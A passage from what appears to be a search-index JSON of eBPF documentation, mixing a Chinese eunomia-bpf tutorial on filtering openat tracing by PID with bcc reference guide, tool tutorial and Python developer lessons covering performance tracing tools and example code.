Invalid mem access","id":"308","title":"1. Invalid mem access"},"309":{"body":"This error happens when a GPL-only helper is called from a non-GPL BPF program. To fix this error, do not use GPL-only helpers from a proprietary BPF program, or relicense the BPF program under a GPL-compatible license. Check which BPF helpers are GPL-only, and what licenses are considered GPL-compatible. Example calling bpf_get_stackid(), a GPL-only BPF helper, from a proprietary program (#define BPF_LICENSE Proprietary): bpf: Failed to load program: Invalid argument\n[...]\n8: (85) call bpf_get_stackid#27\ncannot call GPL only function from proprietary program","breadcrumbs":"bcc Reference Guide » 2. Cannot call GPL only function from proprietary program","id":"309","title":"2. Cannot call GPL only function from proprietary program"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 参数来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"","breadcrumbs":"bcc Reference Guide » Environment Variables","id":"310","title":"Environment Variables"},"311":{"body":"eBPF program compilation needs kernel sources or kernel headers with headers compiled. In case your kernel sources are at a non-standard location where BCC cannot find then, its possible to provide BCC the absolute path of the location by setting BCC_KERNEL_SOURCE to it.","breadcrumbs":"bcc Reference Guide » 1. Kernel source directory","id":"311","title":"1. Kernel source directory"},"312":{"body":"By default, BCC stores the LINUX_VERSION_CODE in the generated eBPF object which is then passed along to the kernel when the eBPF program is loaded. Sometimes this is quite inconvenient especially when the kernel is slightly updated such as an LTS kernel release. Its extremely unlikely the slight mismatch would cause any issues with the loaded eBPF program. By setting BCC_LINUX_VERSION_CODE to the version of the kernel that's running, the check for verifying the kernel version can be bypassed. This is needed for programs that use kprobes. This needs to be encoded in the format: (VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL. For example, if the running kernel is 4.9.10, then can set export BCC_LINUX_VERSION_CODE=264458 to override the kernel version check successfully.","breadcrumbs":"bcc Reference Guide » 2. Kernel version overriding","id":"312","title":"2. Kernel version overriding"},"313":{"body":"Some tools have special filtering capabitilies, the main use case is to trace processes running in containers, but those mechanisms are generic and could be used in other cases as well.","breadcrumbs":"Special Filtering » Special Filtering","id":"313","title":"Special Filtering"},"314":{"body":"Some tools have an option to filter by cgroup by referencing a pinned BPF hash map managed externally. Examples of commands: # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 The commands above will only display results from processes that belong to one of the cgroups whose id, returned by bpf_get_current_cgroup_id(), is in the pinned BPF hash map. The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 To get a shell in a new cgroup, you can use: # systemd-run --pty --unit test bash The shell will be running in the cgroup /sys/fs/cgroup/unified/system.slice/test.service. The cgroup id can be discovered using the name_to_handle_at() system call. In the examples/cgroupid, you will find an example of program to get the cgroup id. # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service or, using Docker: # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service This prints the cgroup id as a hexadecimal string in the host endianness such as 77 16 00 00 01 00 00 00. # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any Now that the shell started by systemd-run has its cgroup id in the BPF hash map, bcc tools will display results from this shell. Cgroups can be added and removed from the BPF hash map without restarting the bcc tool. This feature is useful for integrating bcc tools in external projects.","breadcrumbs":"Special Filtering » Filtering by cgroups","id":"314","title":"Filtering by cgroups"},"315":{"body":"The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 Execute the execsnoop tool filtering only the mount namespaces in /sys/fs/bpf/mnt_ns_set: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set Start a terminal in a new mount namespace: # unshare -m bash Update the hash map with the mount namespace ID of the terminal above: FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any Execute a command in this terminal: # ping kinvolk.io You'll see how on the execsnoop terminal you started above the call is logged: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io","breadcrumbs":"Special Filtering » Filtering by mount by namespace","id":"315","title":"Filtering by mount by namespace"},"316":{"body":"This tutorial covers how to use bcc tools to quickly solve performance, troubleshooting, and networking issues. If you want to develop new bcc tools, see tutorial_bcc_python_developer.md for that tutorial. It is assumed for this tutorial that bcc is already installed, and you can run tools like execsnoop successfully. See INSTALL.md . This uses enhancements added to the Linux 4.x series.","breadcrumbs":"bcc Tutorial » bcc Tutorial","id":"316","title":"bcc Tutorial"},"317":{"body":"Some quick wins.","breadcrumbs":"bcc Tutorial » Observability","id":"317","title":"Observability"},"318":{"body":"Before using bcc, you should start with the Linux basics. One reference is the Linux Performance Analysis in 60,000 Milliseconds post, which covers these commands: uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. Before bcc","id":"318","title":"0. Before bcc"},"319":{"body":"Here is a generic checklist for performance investigations with bcc, first as a list, then in detail: execsnoop opensnoop ext4slower (or btrfs*, xfs*, zfs*) biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile These tools may be installed on your system under /usr/share/bcc/tools, or you can run them from the bcc github repo under /tools where they have a .py extension. Browse the 50+ tools available for more analysis options. 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop prints one line of output for each new process. Check for short-lived processes. These can consume CPU resources, but not show up in most monitoring tools that periodically take snapshots of which processes are running. It works by tracing exec(), not the fork(), so it will catch many types of new processes but not all (eg, it won't see an application launching working processes, that doesn't exec() anything else). More examples . 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop prints one line of output for each open() syscall, including details. Files that are opened can tell you a lot about how applications work: identifying their data files, config files, and log files. Sometimes applications can misbehave, and perform poorly, when they are constantly attempting to read files that do not exist. opensnoop gives you a quick look. More examples . 1.3. ext4slower (or btrfs*, xfs*, zfs*) # ./ext4slower\nTracing ext4 operations slower than 10 ms\nTIME COMM PID T BYTES OFF_KB LAT(ms) FILENAME\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower traces the ext4 file system and times common operations, and then only prints those that exceed a threshold. This is great for identifying or exonerating one type of performance issue: show individually slow disk i/O via the file system. Disks process I/O asynchronously, and it can be difficult to associate latency at that layer with the latency applications experience. Tracing higher up in the kernel stack, at the VFS -> file system interface, will more closely match what an application suffers. Use this tool to identify if file system latency exceeds a given threshold. Similar tools exist in bcc for other file systems: btrfsslower, xfsslower, and zfsslower. There is also fileslower, which works at the VFS layer and traces everything (although at some higher overhead). More examples . 1.4. biolatency # ./biolatency\nTracing block device I/O... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** | 32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency traces disk I/O latency (time from device issue to completion), and when the tool ends (Ctrl-C, or a given interval), it prints a histogram summary of the latency. This is great for understanding disk I/O latency beyond the average times given by tools like iostat. I/O latency outliers will be visible at the end of the distribution, as well as multi-mode distributions. More examples . 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop prints a line of output for each disk I/O, with details including latency (time from device issue to completion). This allows you to examine disk I/O in more detail, and look for time-ordered patterns (eg, reads queueing behind writes). Note that the output will be verbose if your system performs disk I/O at a high rate. More examples . 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223 7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat prints a one line summary every second (or every custom interval) showing statistics from the file system cache. Use this to identify a low cache hit ratio, and a high rate of misses: which gives one lead for performance tuning. More examples . 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect prints one line of output for every active TCP connection (eg, via connect()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept prints one line of output for every passive TCP connection (eg, via accept()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.9. tcpretrans # ./tcpretrans\nTIME PID IP LADDR:LPORT T> RADDR:RPORT STATE\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 ESTABLISHED\n[...] tcprerans prints one line of output for every TCP retransmit packet, with details including source and destination addresses, and kernel state of the TCP connection. TCP retransmissions cause latency and throughput issues. For ESTABLISHED retransmits, look for patterns with networks. For SYN_SENT, this may point to target kernel CPU saturation and kernel packet drops. More examples . 1.10. runqlat # ./runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | runqlat times how long threads were waiting on the CPU run queues, and prints this as a histogram. This can help quantify time lost waiting for a turn on CPU, during periods of CPU saturation. More examples . 1.11. profile # ./profile\nSampling at 49 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end.\n^C 00007f31d76c3251 [unknown] 47a2c1e752bf47f7 [unknown] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [unknown] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile is a CPU profiler, which takes samples of stack traces at timed intervals, and prints a summary of unique stack traces and a count of their occurrence. Use this tool to understand the code paths that are consuming CPU resources. More examples .","breadcrumbs":"bcc Tutorial » 1. General Performance","id":"319","title":"1. General Performance"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"In addition to the above tools for performance tuning, below is a checklist for bcc generic tools, first as a list, and in detail: trace argdist funccount These generic tools may be useful to provide visibility to solve your specific problems. 2.1. trace Example 1 Suppose you want to track file ownership change. There are three syscalls, chown, fchown and lchown which users can use to change file ownership. The corresponding syscall entry is SyS_[f|l]chown. The following command can be used to print out syscall parameters and the calling process user id. You can use id command to find the uid of a particular user. $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 Example 2 Suppose you want to count nonvoluntary context switches (nvcsw) in your bpf based performance monitoring tools and you do not know what is the proper method. /proc/<pid>/status already tells you the number (nonvoluntary_ctxt_switches) for a pid and you can use trace.py to do a quick experiment to verify your method. With kernel source code, the nvcsw is counted at file linux/kernel/sched/core.c function __schedule and under condition !(!preempt && prev->state) // i.e., preempt || !prev->state The __schedule function is marked as notrace, and the best place to evaluate the above condition seems in sched/sched_switch tracepoint called inside function __schedule and defined in linux/include/trace/events/sched.h. trace.py already has args being the pointer to the tracepoint TP_STRUCT__entry. The above condition in function __schedule can be represented as args->prev_state == TASK_STATE_MAX || args->prev_state == 0 The below command can be used to count the involuntary context switches (per process or per pid) and compare to /proc/<pid>/status or /proc/<pid>/task/<task_id>/status for correctness, as in typical cases, involuntary context switches are not very common. $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... Example 3 This example is related to issue 1231 and 1516 where uprobe does not work at all in certain cases. First, you can do a strace as below $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... The perf_event_open syscall returns -EIO. Digging into kernel uprobe related codes in /kernel/trace and /kernel/events directories to search EIO, the function uprobe_register is the most suspicious. Let us find whether this function is called or not and what is the return value if it is called. In one terminal using the following command to print out the return value of uprobe_register, $ trace.py 'r::uprobe_register \"ret = %d\", retval' In another terminal run the same bash uretprobe tracing example, and you should get $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 The -5 error code is EIO. This confirms that the following code in function uprobe_register is the most suspicious culprit. if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; The shmem_mapping function is defined as bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} To confirm the theory, find what is inode->i_mapping->a_ops with the following command $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops The kernel symbol empty_aops does not have readpage defined and hence the above suspicious condition is true. Further examining the kernel source code shows that overlayfs does not provide its own a_ops while some other file systems (e.g., ext4) define their own a_ops (e.g., ext4_da_aops), and ext4_da_aops defines readpage. Hence, uprobe works fine on ext4 while not on overlayfs. More examples . 2.2. argdist More examples . 2.3. funccount More examples .","breadcrumbs":"bcc Tutorial » 2. Observability with Generic Tools","id":"320","title":"2. Observability with Generic Tools"},"321":{"body":"To do.","breadcrumbs":"bcc Tutorial » Networking","id":"321","title":"Networking"},"322":{"body":"This tutorial is about developing bcc tools and programs using the Python interface. There are two parts: observability then networking. Snippets are taken from various programs in bcc: see their files for licences. Also see the bcc developer's reference_guide.md , and a tutorial for end-users of tools: tutorial.md . There is also a lua interface for bcc.","breadcrumbs":"bcc Python Developer Tutorial » bcc Python Developer Tutorial","id":"322","title":"bcc Python Developer Tutorial"},"323":{"body":"This observability tutorial contains 17 lessons, and 46 enumerated things to learn.","breadcrumbs":"bcc Python Developer Tutorial » Observability","id":"323","title":"Observability"},"324":{"body":"Start by running examples/hello_world.py , while running some commands (eg, \"ls\") in another session. It should print \"Hello, World!\" for new processes. If not, start by fixing bcc: see INSTALL.md . # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] Here's the code for hello_world.py: from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() There are six things to learn from this: text='...': This defines a BPF program inline. The program is written in C. kprobe__sys_clone(): This is a short-cut for kernel dynamic tracing via kprobes. If the C function begins with kprobe__, the rest is treated as a kernel function name to instrument, in this case, sys_clone(). void *ctx: ctx has arguments, but since we aren't using them here, we'll just cast it to void *. bpf_trace_printk(): A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(), covered later. return 0;: Necessary formality (if you want to know why, see #139 ). .trace_print(): A bcc routine that reads trace_pipe and prints the output.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 1. Hello World","id":"324","title":"Lesson 1. Hello World"},"325":{"body":"Write a program that traces the sys_sync() kernel function. Print \"sys_sync() called\" when it runs. Test by running sync in another session while tracing. The hello_world.py program has everything you need for this. Improve it by printing \"Tracing sys_sync()... Ctrl-C to end.\" when the program first starts. Hint: it's just Python.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 2. sys_sync()","id":"325","title":"Lesson 2. sys_sync()"},"326":{"body":"This program is in examples/tracing/hello_fields.py . Sample output (run commands in another session): # examples/tracing/hello_fields.py\nTIME(s) COMM PID MESSAGE\n24585001.174885999 sshd 1432 Hello, World!\n24585001.195710000 sshd 15780 Hello, World!\n24585001.991976000 systemd-udevd 484 Hello, World!\n24585002.276147000 bash 15787 Hello, World! Code: from bcc import BPF # define BPF program\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) This is similar to hello_world.py, and traces new processes via sys_clone() again, but has a few more things to learn: prog =: This time we declare the C program as a variable, and later refer to it. This is useful if you want to add some string substitutions based on command line arguments. hello(): Now we're just declaring a C function, instead of the kprobe__ shortcut. We'll refer to this later. All C functions declared in the BPF program are expected to be executed on a probe, hence they all need to take a pt_reg* ctx as first argument. If you need to define some helper function that will not be executed on a probe, they need to be defined as static inline in order to be inlined by the compiler. Sometimes you would also need to add _always_inline function attribute to it. b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\"): Creates a kprobe for the kernel clone system call function, which will execute our defined hello() function. You can call attach_kprobe() more than once, and attach your C function to multiple kernel functions. b.trace_fields(): Returns a fixed set of fields from trace_pipe. Similar to trace_print(), this is handy for hacking, but for real tooling we should switch to BPF_PERF_OUTPUT().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 3. hello_fields.py","id":"326","title":"Lesson 3. hello_fields.py"},"327":{"body":"Remember the days of sysadmins typing sync three times on a slow console before reboot, to give the first asynchronous sync time to complete? Then someone thought sync;sync;sync was clever, to run them all on one line, which became industry practice despite defeating the original purpose! And then sync became synchronous, so more reasons it was silly. Anyway. The following example times how quickly the do_sync function is called, and prints output if it has been called more recently than one second ago. A sync;sync;sync will print output for the 2nd and 3rd sync's: # examples/tracing/sync_timing.py\nTracing for quick sync's... Ctrl-C to end\nAt time 0.00 s: multiple syncs detected, last 95 ms ago\nAt time 0.10 s: multiple syncs detected, last 96 ms ago This program is examples/tracing/sync_timing.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // attempt to read stored timestamp tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // output if time is less than 1 second bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // update stored timestamp ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"Tracing for quick sync's... Ctrl-C to end\") # format output\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"At time %.2f s: multiple syncs detected, last %s ms ago\" % (ts, ms)) Things to learn: bpf_ktime_get_ns(): Returns the time as nanoseconds. BPF_HASH(last): Creates a BPF map object that is a hash (associative array), called \"last\". We didn't specify any further arguments, so it defaults to key and value types of u64. key = 0: We'll only store one key/value pair in this hash, where the key is hardwired to zero. last.lookup(&key): Lookup the key in the hash, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. if (tsp != NULL) {: The verifier requires that pointer values derived from a map lookup must be checked for a null value before they can be dereferenced and used. last.delete(&key): Delete the key from the hash. This is currently required because of a kernel bug in .update() (fixed in 4.8.10). last.update(&key, &ts): Associate the value in the 2nd argument to the key, overwriting any previous value. This records the timestamp.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"327","title":"Lesson 4. sync_timing.py"},"328":{"body":"Modify the sync_timing.py program (prior lesson) to store the count of all kernel sync system calls (both fast and slow), and print it with the output. This count can be recorded in the BPF program by adding a new key index to the existing hash.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 5. sync_count.py","id":"328","title":"Lesson 5. sync_count.py"},"329":{"body":"Browse the examples/tracing/disksnoop.py program to see what is new. Here is some sample output: # disksnoop.py\nTIME(s) T BYTES LAT(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] And a code snippet: [...]\nREQ_WRITE = 1 # from include/linux/blk_types.h # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blk-mq.h> BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // stash start timestamp by request ptr u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\")\nelse: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\")\n[...] Things to learn: REQ_WRITE: We're defining a kernel constant in the Python program because we'll use it there later. If we were using REQ_WRITE in the BPF program, it should just work (without needing to be defined) with the appropriate #includes. trace_start(struct pt_regs *ctx, struct request *req): This function will later be attached to kprobes. The arguments to kprobe functions are struct pt_regs *ctx, for registers and 